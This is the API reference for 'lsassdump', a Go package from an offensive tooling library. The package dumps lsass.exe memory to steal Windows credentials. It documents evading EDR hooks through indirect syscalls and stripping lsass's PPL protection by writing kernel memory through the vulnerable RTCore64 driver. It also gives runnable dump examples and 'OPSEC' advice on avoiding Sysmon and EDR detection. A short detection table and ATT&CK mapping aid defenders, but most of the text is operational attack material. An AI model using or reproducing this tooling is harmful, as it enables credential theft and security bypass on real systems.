| package | github.com/oioio-space/maldev/credentials/lsassdump |
|---|---|
| last_reviewed | 2026-05-04 |
| reflects_commit | 90d9c49 |
← credentials index · docs/index
Produce a Windows MINIDUMP of lsass.exe's memory in-process —
without calling MiniDumpWriteDump (the heavily-hooked DbgHelp
export). Walks regions + modules with NtReadVirtualMemory,
emits the canonical 6-stream MINIDUMP layout, and ships a
RTCore64-driven kernel path to flip lsass out of PPL when
RunAsPPL=1. The dump is consumed by credentials/sekurlsa.
LSASS holds the cleartext Kerberos password material, NTLM hashes, DPAPI master keys, TGT cache, CloudAP PRT, and TSPkg/RDP plaintext. Every credential-dumping tool eventually wants its memory.
The classic path is MiniDumpWriteDump from dbghelp.dll; modern
EDRs hook every interesting call inside that function. The
lsassdump package skips the hook surface entirely:
- Locate lsass via
NtGetNextProcess(noOpenProcess/CreateToolhelp32Snapshot/EnumProcesses). - Walk the target's VAD via
NtQueryVirtualMemoryto enumerate committed regions. - Walk the loaded modules via
NtQueryInformationProcess(ProcessLdr…)parsing the PEB'sLdr.InMemoryOrderModuleList. - Read each region's bytes with
NtReadVirtualMemory. - Emit a 6-stream MINIDUMP (Header, SystemInfo, ModuleList,
Memory64List, MemoryInfoList, ThreadList stub) directly to an
io.Writer.
Every Nt* call accepts an optional *wsyscall.Caller (nil =
WinAPI fallback) so the operator can route through direct or
indirect syscalls and bypass user-mode hooks.
PPL stands separate: when RunAsPPL=1 (Win 11 default) the
kernel rejects PROCESS_VM_READ regardless of token privileges.
The package ships a kernel-level bypass via
kernel/driver/rtcore64: zero EPROCESS.Protection byte
(temporarily), open lsass, restore the byte. The Discover*
helpers parse ntoskrnl.exe PE prologues to derive the EPROCESS
field offsets without hand-curated tables.
flowchart TD
subgraph PPL [PPL bypass — optional, only if RunAsPPL]
D1[DiscoverProtectionOffset<br>parse PsIsProtectedProcess]
D2[DiscoverUniqueProcessIdOffset<br>parse PsGetProcessId]
D3[DiscoverInitialSystemProcessRVA<br>find PsInitialSystemProcess]
D1 --> FE[FindLsassEProcess<br>walk PsActiveProcessLinks]
D2 --> FE
D3 --> FE
FE --> UN[Unprotect<br>zero Protection byte<br>via RTCore64]
end
UN -. removes PPL bit .-> OPEN
OPEN[OpenLSASS<br>NtGetNextProcess + access mask] --> ENUM[collectRegions / collectModules<br>NtQueryVirtualMemory<br>+ ProcessLdrInformation]
ENUM --> RD[Dump<br>stream regions to writer<br>via NtReadVirtualMemory]
RD --> DMP[MINIDUMP blob]
DMP --> SK[credentials/sekurlsa<br>parses extracts]
UN -. after dump .-> RP[Reprotect<br>restore Protection byte]
Implementation details:
OpenLSASSwalks the system's process list withNtGetNextProcess— no public-API call ever names lsass by string. The PID is resolved by reading the EPROCESS or viaNtQueryInformationProcess(ProcessBasicInformation).- The Memory64List stream is the bulk of the dump — every
committed region's
BaseAddress + RegionSize + RawData. The package writes the directory entry first, then streams payload bytes through the writer to keep RAM usage flat regardless of lsass size (~80–600 MB on modern boxes). Statsreports per-pass counters (regions, modules, bytes read, bytes skipped) so the operator can spot incomplete dumps before parsing.DiscoverProtectionOffsetcross-validates two prologue patterns (PsIsProtectedProcess+PsIsProtectedProcessLight) and returns the EPROCESS byte offset only when both agree — falsey matches at runtime would otherwise corrupt EPROCESS.Unprotectkeeps the original Protection value inPPLTokensoReprotectcan restore it. Aborting between the two leaves lsass unprotected; defer the call.
Package: github.com/oioio-space/maldev/credentials/lsassdump. Two
operational modes: userland (OpenLSASS + Dump + CloseLSASS — works
when LSASS is not PPL-protected) and kernel-assisted PPL bypass
(driver.ReadWriter + Unprotect + Dump + Reprotect — required on Win10
1903+ default-PPL builds). The pure-Go Discover* family runs
cross-platform so offset tables can be precomputed offline from a
collected ntoskrnl.exe.
- godoc: counters returned by every
Dump*/Buildcall. - Description:
Regions int(committed regions enumerated),Modules int(loaded modules in MODULE_LIST_STREAM),BytesRead int64(bytes copied into the dump),BytesSkipped int64(region bytes thatNtReadVirtualMemoryrefused — guard pages, deleted views, kernel-blocked ranges). - Side effects: pure data; the field names match what the test suite asserts on.
- OPSEC:
BytesSkipped > 0is normal — guard pages always skip. Skipped > 25% of total may indicate the dump tripped on EDR-protected ranges and is incomplete. - Required privileges: none (returned value).
- Platform: cross-platform (data type).
- godoc: per-build EPROCESS field offsets needed by
Unprotect/FindLsassEProcess. Populate with theDiscover*Offsethelpers (or pre-canned offsets for known builds). - Description: zero-value fields trigger auto-discovery inside the kernel-helpers. Concrete fields:
ProtectionOffset uint32,UniqueProcessIDOffset uint32,ActiveProcessLinksOffset uint32— seeppl_windows.go. - Side effects: pure data.
- OPSEC: per-build offsets baked into a binary remove the runtime PE parse cost on the target — small enough to ship as a per-Windows-build lookup table.
- Required privileges: none (data).
- Platform: cross-platform.
- godoc: opaque return value from
Unprotect. Carries the original Protection byte + SignatureLevel + SectionSignatureLevel needed byReprotectto restore the kernel state.IsZero()reports whether the token is the zero value (e.g., whenReprotectis called on a never-Unprotected token — it becomes a no-op). - Description: must be passed verbatim to
Reprotect— do not zero or modify intermediate fields. - Parameters:
IsZerotakes the receiver; no other args. - Returns:
IsZeroreturns true for zero-value tokens. - Side effects: none.
- OPSEC: silent.
- Required privileges: none (data).
- Platform: Windows.
ErrLSASSNotFound // NtGetNextProcess walked to completion without matching lsass.exe
ErrOpenDenied // OpenProcess refused — likely missing SeDebugPrivilege or running medium-IL
ErrPPL // lsass is PPL-protected; VM_READ denied — caller must use the driver path
ErrLsassEProcessNotFound // PsActiveProcessLinks walk completed without matching the lsass PID
ErrInvalidEProcess // Unprotect was passed eprocess == 0 — upstream FindLsassEProcess failed silently
ErrInvalidProtectionOffset // PPLOffsetTable.ProtectionOffset == 0 and auto-discovery also returned 0
ErrProtectionOffsetNotFound // PsIsProtectedProcess prologue did not match `movzx eax, [rcx+disp32]` — kernel build mismatchThe boundary is meaningful: errors.Is(err, ErrPPL) lets operator
code branch into the byovd-rtcore64 path without parsing wrapped
strings.
- godoc: walk
NtGetNextProcess(withPROCESS_QUERY_LIMITED_INFORMATION) untilProcessImageFileNamematcheslsass.exe, then re-NtOpenProcess(pid, QUERY_LIMITED|VM_READ). Returns a rawuintptr(cast for cross-package interop withdriver.ReadWriter). - Description: caller may pass
nilforcallerto use the default WinAPI path; pass a*wsyscall.Callerconfigured withMethodIndirectAsm + Tartarusfor stealth-mode resolution. TheNtGetNextProcessenumeration is steathier thanCreateToolhelp32Snapshot(no PsetWmi event). - Parameters:
calleroptional; nil = WinAPI fallback. - Returns: open handle as
uintptr; sentinelErrLSASSNotFoundif the walk completed without matching; sentinelErrOpenDeniedifNtOpenProcessreturnedSTATUS_ACCESS_DENIED(admin? PPL?); sentinelErrPPLspecifically when theVM_READaccess bit is what was denied. - Side effects: opens a kernel handle (caller must
CloseLSASS). Triggers Sysmon Event 10 withGrantedAccess=0x1010(QUERY_LIMITED|VM_READ). - OPSEC:
OpenProcess(lsass)is the highest-fidelity Sysmon Event 10 trigger. Mitigation: bridge through the syscall.Caller indirect modes so the call originates from inside ntdll's.text. - Required privileges: SYSTEM (or admin +
SeDebugPrivilege). PPL-protected lsass refusesVM_READregardless. - Platform: Windows. Stub returns
errUnsupported.
- godoc:
NtClosewrapper for the handle returned byOpenLSASS. - Description: thin shim. Idempotent only if the caller respects the contract — calling on a zero handle returns
STATUS_INVALID_HANDLEnot nil. - Parameters:
hthe handle fromOpenLSASS. - Returns: nil on success; underlying NTSTATUS-mapped error.
- Side effects: closes the kernel handle.
- OPSEC: silent.
- Required privileges: none (already held the handle).
- Platform: Windows.
- godoc: resolve lsass.exe's PID without opening it.
- Description: same
NtGetNextProcesswalk asOpenLSASSbut stops at the PID — never callsNtOpenProcess. Used by the PPL bypass path which needs the PID to feedFindLsassEProcess, but cannot legitimately open lsass yet (Unprotect must run first). - Parameters:
calleroptional. - Returns: lsass PID;
ErrLSASSNotFoundon miss. - Side effects: enumerates processes; opens a transient
PROCESS_QUERY_LIMITED_INFORMATIONhandle on each candidate (released before returning). - OPSEC: stealthier than the open path — no VM_READ event. The query-limited probes are noisy if frequent but rare on a one-shot.
- Required privileges: unprivileged for query-limited probes; works from medium-IL.
- Platform: Windows.
- godoc: emit MINIDUMP bytes to
wfor the process referenced byh. Stream-friendly —wmay be a file,bytes.Buffer, or an encrypted/transport pipeline. - Description: enumerates committed regions via
NtQueryVirtualMemory(MemoryBasicInformation), modules viaNtQueryInformationProcess(ProcessImageFileName)+ PEB walk, threads viaNtGetNextThread+NtQueryInformationThread, then writes the canonical MDMP header + directory + four streams (MemoryListStream/ModuleListStream/ThreadListStream/SystemInfoStream). Streaming layout — no full buffer materialised in process memory. - Parameters:
hopen lsass handle;wdestination;calleroptional Caller for syscall routing. - Returns:
Statssummarising what landed; first error from any region/module/thread enumeration step. - Side effects: many
NtReadVirtualMemorycalls (one per region). Allocates per-region read buffers (released before next region). - OPSEC: the read pattern (sequential walk through committed regions) is fingerprinted by EDR. Routing through
MethodIndirectAsmblunts the call-stack-origin signal but not the access pattern. - Required privileges:
VM_READonh. - Platform: Windows.
- godoc: convenience —
OpenLSASS+Dump(h, file, caller)+file.Sync+file.Close. File mode 0o600. - Description: best for one-shot operator scripts. Removes the file on
Dumpfailure. - Parameters:
pathdestination on disk;calleroptional. - Returns:
Statson success; underlying error from any of the wrapped steps. - Side effects: cleartext MDMP file at
path. The file is removed on failure; left intact on success. - OPSEC: cleartext MDMP on disk is a flat YARA hit (
MDMPmagic). Lab/CTF only — production paths should useDumpwith an encrypting writer orDumpToFileViawith a stealth Creator. - Required privileges: as
OpenLSASS. - Platform: Windows.
- godoc:
DumpToFilevariant that routes the on-disk landing through the operator-suppliedstealthopen.Creator. - Description: nil falls back to
*StandardCreator(plainos.Create— identical toDumpToFile). Non-nil layers transactional NTFS, encrypted streams, ADS sinks, or any operator-controlled write primitive on top of the minidump landing. The minidump byte stream itself is unchanged —Dump(h, w, caller)writes into theWriteCloserthe Creator returns. os.File-onlySyncis best-effort: when the Creator returns something other than*os.File, durability semantics are delegated to the Creator'sClose. - Parameters:
creatorwrite-side strategy (nil = standard);pathpassed to the Creator (interpretation is Creator-defined — for ADS,path = "C:\\file.txt:stream");calleroptional. - Returns:
Statson success; first error from the Creator + Dump pipeline. - Side effects: per the Creator strategy. Standard creator leaves a 0o600 file; ADS creator leaves a hidden stream; transactional NTFS leaves nothing visible until commit.
- OPSEC: completely Creator-dependent. The
stealthopenpage enumerates the OPSEC trade-off per strategy. - Required privileges: as
OpenLSASS; Creator may require additional access (e.g., kernel-transactional NTFS needs SYSTEM). - Platform: Windows.
- godoc: zero EPROCESS.Protection (and the SignatureLevel/SectionSignatureLevel siblings) via the supplied kernel
ReadWriter(typicallykernel/driver/rtcore64). Returns aPPLTokencarrying the original bytes forReprotect. - Description: when
tab.ProtectionOffset == 0, auto-discovers the offset by parsing the on-disk ntoskrnl. Reads the three current bytes (Protection at offset N, SignatureLevel at N-2, SectionSignatureLevel at N-1 — theSignatureLevelOffset(prot)/SectionSignatureLevelOffset(prot)arithmetic), saves them in the PPLToken, then writes 0x00 to all three. After this call, lsass becomes openable withVM_READfrom a regular admin token. - Parameters:
rwkernel ReadWriter (RTCore64 or any equivalent BYOVD primitive);eprocessEPROCESS VA fromFindLsassEProcess;tabpopulated PPLOffsetTable. - Returns:
PPLToken(always pass toReprotect);ErrInvalidEProcessifeprocess == 0;ErrInvalidProtectionOffsetif bothtab.ProtectionOffsetand auto-discovery returned 0; underlying ReadWriter errors. - Side effects: writes 3 bytes of kernel memory. The change persists until
Reprotectis called or the host reboots. - OPSEC: kernel writes are invisible to userland telemetry. PatchGuard does NOT cover EPROCESS by default — the write is durable. Defender's "Driver block list" updated periodically may neuter RTCore64 specifically; check
kernel/driver/rtcore64.mdfor current status. - Required privileges: SYSTEM +
SeLoadDriverPrivilege(to load RTCore64) + admin to write the EPROCESS bytes. - Platform: Windows + amd64. The offset arithmetic is x64-specific.
- godoc: restore Protection / SignatureLevel / SectionSignatureLevel from
tok. Alwaysdeferthis call afterUnprotect. - Description: writes the three saved bytes back. No-op if
tok.IsZero(). ReturnsErrNotLoadedifrw == nil(defensive — easy to forget). - Parameters:
rwkernel ReadWriter;tokfromUnprotect. - Returns: nil on success or no-op; ReadWriter errors otherwise.
- Side effects: writes 3 bytes of kernel memory. Lsass becomes PPL-protected again immediately after.
- OPSEC: leaving lsass unprotected is the loudest possible footprint — Defender / EDRs scan the EPROCESS Protection byte specifically. Always defer Reprotect.
- Required privileges: same as
Unprotect. - Platform: Windows.
FindLsassEProcess(rw driver.ReadWriter, lsassPID uint32, opener stealthopen.Opener, caller *wsyscall.Caller) (uintptr, error)
- godoc: walk
PsActiveProcessLinksvia the kernel ReadWriter and return the EPROCESS VA matchinglsassPID. - Description: composes the
Discover*family internally —DiscoverInitialSystemProcessRVAto find the list head,DiscoverUniqueProcessIdOffset+DiscoverActiveProcessLinksOffsetto know which fields to read, then walks the doubly-linked list comparing each entry's PID againstlsassPID. Pure kernel reads; no kernel writes. - Parameters:
rwkernel ReadWriter;lsassPIDfromLsassPID;openerfor the on-disk ntoskrnl PE parse (nil =os.Open);callerfor ntoskrnl base-address resolution. - Returns: EPROCESS VA;
ErrLsassEProcessNotFoundif the walk completed without matching. - Side effects: many kernel reads (4–8 bytes each) traversing the active-process list — typically 50–500 entries depending on host load.
- OPSEC: kernel reads are invisible. The walk is read-only.
- Required privileges: as
Unprotect. - Platform: Windows + amd64.
These helpers parse ntoskrnl.exe on disk — they run cross-platform
so offset tables can be precomputed offline from a collected kernel
image. Each accepts a stealthopen.Opener (nil = os.Open) so the
read can route through an EDR-bypass file strategy.
- godoc: extract the EPROCESS.Protection byte offset from
PsIsProtectedProcess's prologue. - Description: parses the PE export table to find
PsIsProtectedProcess, reads the function bytes, and looks for the canonicalmovzx eax, [rcx+disp32]prologue. The disp32 IS the offset. ReturnsErrProtectionOffsetNotFoundif the prologue does not match (kernel build mismatch — the function may have been inlined or rewritten). - Parameters:
pathto ntoskrnl.exe (typicallyC:\Windows\System32\ntoskrnl.exe);openernil foros.Open. - Returns: byte offset within EPROCESS;
ErrProtectionOffsetNotFoundon prologue mismatch; underlying PE-parse / file-open errors. - Side effects: opens + reads ntoskrnl.exe (read-only).
- OPSEC: reading ntoskrnl is benign on its own (countless legitimate tools do). The follow-on kernel writes are the loud part.
- Required privileges: read on
path(typically requires admin since System32 has restrictive ACLs on the file). - Platform: cross-platform (pure-Go PE parse). Useful from a Linux build host that pre-collected ntoskrnl.
- godoc: returns
protectionOff - 2— the SignatureLevel field is two bytes before Protection in EPROCESS on every shipped Win10/11 build. - Description: arithmetic helper, no I/O.
- Parameters:
protectionOfffromDiscoverProtectionOffset. - Returns: SignatureLevel field offset.
- Side effects: none.
- OPSEC: silent.
- Required privileges: none.
- Platform: cross-platform.
- godoc: returns
protectionOff - 1— SectionSignatureLevel is one byte before Protection. - Description / Parameters / Returns / Side effects / OPSEC / Required privileges / Platform: as
SignatureLevelOffset.
- godoc: extract the EPROCESS.UniqueProcessId byte offset by static analysis of an ntoskrnl helper that references the field.
- Description: parses the PE, finds the helper (typically
PsGetProcessId), looks for the canonicalmov rax, [rcx+disp32]pattern. The disp32 IS the offset. - Parameters: as
DiscoverProtectionOffset. - Returns: byte offset; underlying PE-parse errors on miss.
- Side effects / OPSEC / Required privileges / Platform: as
DiscoverProtectionOffset.
- godoc: returns
uniqueProcessIDOff + sizeof(HANDLE)(8 on x64) —ActiveProcessLinksalways immediately followsUniqueProcessIdin EPROCESS on every shipped Win10/11 build. - Description: arithmetic helper.
- Parameters:
uniqueProcessIDOfffromDiscoverUniqueProcessIdOffset. - Returns: ActiveProcessLinks (LIST_ENTRY) offset.
- Side effects / OPSEC / Required privileges / Platform: as
SignatureLevelOffset.
- godoc: returns the RVA of the
PsInitialSystemProcessexported symbol in ntoskrnl. Combined with the kernel base, this gives the head ofPsActiveProcessLinks(the symbol points at the System EPROCESS). - Description: PE export-table lookup by name. Pure-Go, cross-platform.
- Parameters: as
DiscoverProtectionOffset. - Returns: RVA; export-not-found error on miss.
- Side effects / OPSEC / Required privileges / Platform: as
DiscoverProtectionOffset.
- godoc: emit a MINIDUMP from a fully-described
Configinstead of walking a live process. Used for test fixtures, replay from snapshots, or building synthetic dumps. - Description:
cfgcarries[]MemoryRegion,[]Module,[]Thread, and aSystemInfopopulated from any source.Dumpitself usesBuildinternally after walking lsass —Buildis exported so callers can supply pre-collected memory. - Parameters:
wdestination;cfgcomplete description of the dump contents. - Returns:
Stats; layout-planning or writer errors. - Side effects: writes the MDMP byte stream to
w. Does not read external memory. - OPSEC: same on-disk concerns as
Dumpifwis a file. - Required privileges: depends on where
cfg's contents came from. - Platform: cross-platform (pure-Go).
type MemoryRegion struct{ BaseAddress uintptr; Data []byte; Protect uint32; State uint32; Type uint32 }
type Module struct{ BaseAddress uintptr; Size uint32; Path string /* + version fields */ }
type Thread struct{ ID uint32; SuspendCount uint32; PriorityClass uint32; Priority uint32; Teb uintptr; Stack []byte; Context []byte }
type SystemInfo struct{ ProcessorArchitecture uint16; NumberOfProcessors uint8; ProductType uint8; MajorVersion, MinorVersion, BuildNumber uint32; CSDVersion string }
type Config struct{ ProcessID uint32; Regions []MemoryRegion; Modules []Module; Threads []Thread; System SystemInfo }All fields are public so callers can construct synthetic dumps for testing the parser side without needing a live process.
import (
"fmt"
"github.com/oioio-space/maldev/credentials/lsassdump"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
stats, err := lsassdump.DumpToFile(`C:\Users\Public\lsass.dmp`, caller)
if err != nil {
panic(err)
}
fmt.Printf("dumped %d regions, %d MB\n", stats.Regions, stats.BytesRead>>20)Pipe the MINIDUMP through a bytes.Buffer straight into
sekurlsa.Parse:
import (
"bytes"
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/credentials/sekurlsa"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
if err != nil {
panic(err)
}
defer lsassdump.CloseLSASS(h)
var buf bytes.Buffer
if _, err := lsassdump.Dump(h, &buf, caller); err != nil {
panic(err)
}
res, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
if err != nil {
panic(err)
}
defer res.Wipe()When RunAsPPL=1, drop the protection byte through a kernel
ReadWriter, dump, restore.
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
drv, err := rtcore64.Load(rtcore64.LoadOptions{})
if err != nil {
panic(err)
}
defer drv.Unload()
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
pid, _ := lsassdump.LsassPID(caller)
ep, err := lsassdump.FindLsassEProcess(drv, pid, nil, caller)
if err != nil {
panic(err)
}
protOff, _ := lsassdump.DiscoverProtectionOffset("", nil)
tab := lsassdump.PPLOffsetTable{Protection: protOff}
tok, err := lsassdump.Unprotect(drv, ep, tab)
if err != nil {
panic(err)
}
defer lsassdump.Reprotect(drv, tok) //nolint:errcheck
if _, err := lsassdump.DumpToFile(`C:\Users\Public\ppl-lsass.dmp`, caller); err != nil {
panic(err)
}See ExampleDumpToFile.
| Artefact | Where defenders look |
|---|---|
OpenProcess(lsass, PROCESS_VM_READ) |
Sysmon Event 10 (process access); the canonical "credential dumping" signal — fires regardless of which API surfaced the open |
Sustained NtReadVirtualMemory against lsass |
EDR memory-access telemetry |
| Driver load (RTCore64) | Sysmon Event 6 (driver loaded), Microsoft vulnerable-driver blocklist |
Write of a .dmp file |
EDR file-write heuristics flagging dump files in user-writable paths |
Calls to MiniDumpWriteDump |
DbgHelp hook (we don't use it — but the absence is itself a tell) |
| EPROCESS.Protection byte transition | ETW Threat-Intelligence provider (Win11 22H2+) |
D3FEND counters:
- D3-PSA — flags driver-load + lsass-open combos.
- D3-SICA — kernel-driver load auditing.
- D3-FCA — MINIDUMP magic on disk.
Hardening for the operator:
- Stream the dump through a
bytes.Buffer+sekurlsa.Parsein-process — no.dmpfile ever lands. - Route Nt* through indirect syscalls (
wsyscall.MethodIndirect). - Open lsass with the minimum access mask the dump needs
(
PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION). - Defer
Reprotect— never leave lsass unprotected on a crash path.
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1003.001 | OS Credential Dumping: LSASS Memory | full — region walk + MINIDUMP build | D3-PSA, D3-SICA |
| T1068 | Exploitation for Privilege Escalation | partial — PPL bypass via signed-but-vulnerable driver | D3-SICA |
- Windows-only build/dump pipeline. Pure Go on-disk PE
parsing (
Discover*) runs cross-platform — analysts can resolve EPROCESS offsets from a capturedntoskrnl.exeon Linux/CI. - No WoW64 dumps. Modern lsass is x64; legacy WoW64 not supported.
- Driver visibility. RTCore64 is a Microsoft-blocklisted vulnerable driver as of recent vulnerable-driver blocklist updates; on hardened systems the driver load itself is blocked. Plan for vBO (very few alternative drivers) or alternative PPL bypasses.
- No thread context capture. ThreadList is a stub — full
per-thread context is not emitted. sekurlsa doesn't need it;
some legacy tooling (windbg
!analyze) does. - Protection-byte race. Between
UnprotectandOpenLSASSthere is a microsecond window where lsass is unprotected. Defenders with continuous EPROCESS monitoring (rare) can spot the transition. LsassPIDrequires elevation. The walk usesNtGetNextProcesswithPROCESS_QUERY_LIMITED_INFORMATION, which the kernel silently denies for lsass.exe (a PPL) when the caller has no elevation/SeDebugPrivilege. The loop runs toSTATUS_NO_MORE_ENTRIESwithout ever seeing lsass and surfacesErrLSASSNotFound— the same error you would see if lsass were genuinely absent. From a non-elevated context useNtQuerySystemInformation(SystemProcessInformation)directly (different syscall, returns names without opening handles) if PID-only enumeration is needed; the rest of the dump path can't proceed under lowuser anyway.
credentials/sekurlsa— parses the produced MINIDUMP.credentials/goldenticket— downstream consumer of an extracted krbtgt hash.kernel/driver/rtcore64— PPL-bypass driver primitive.evasion/stealthopen— path-based file-hook bypass forntoskrnl.exereads.win/syscall— direct/indirect syscall caller used throughout this package.- Operator path.
- Detection eng path — LSASS dump telemetry.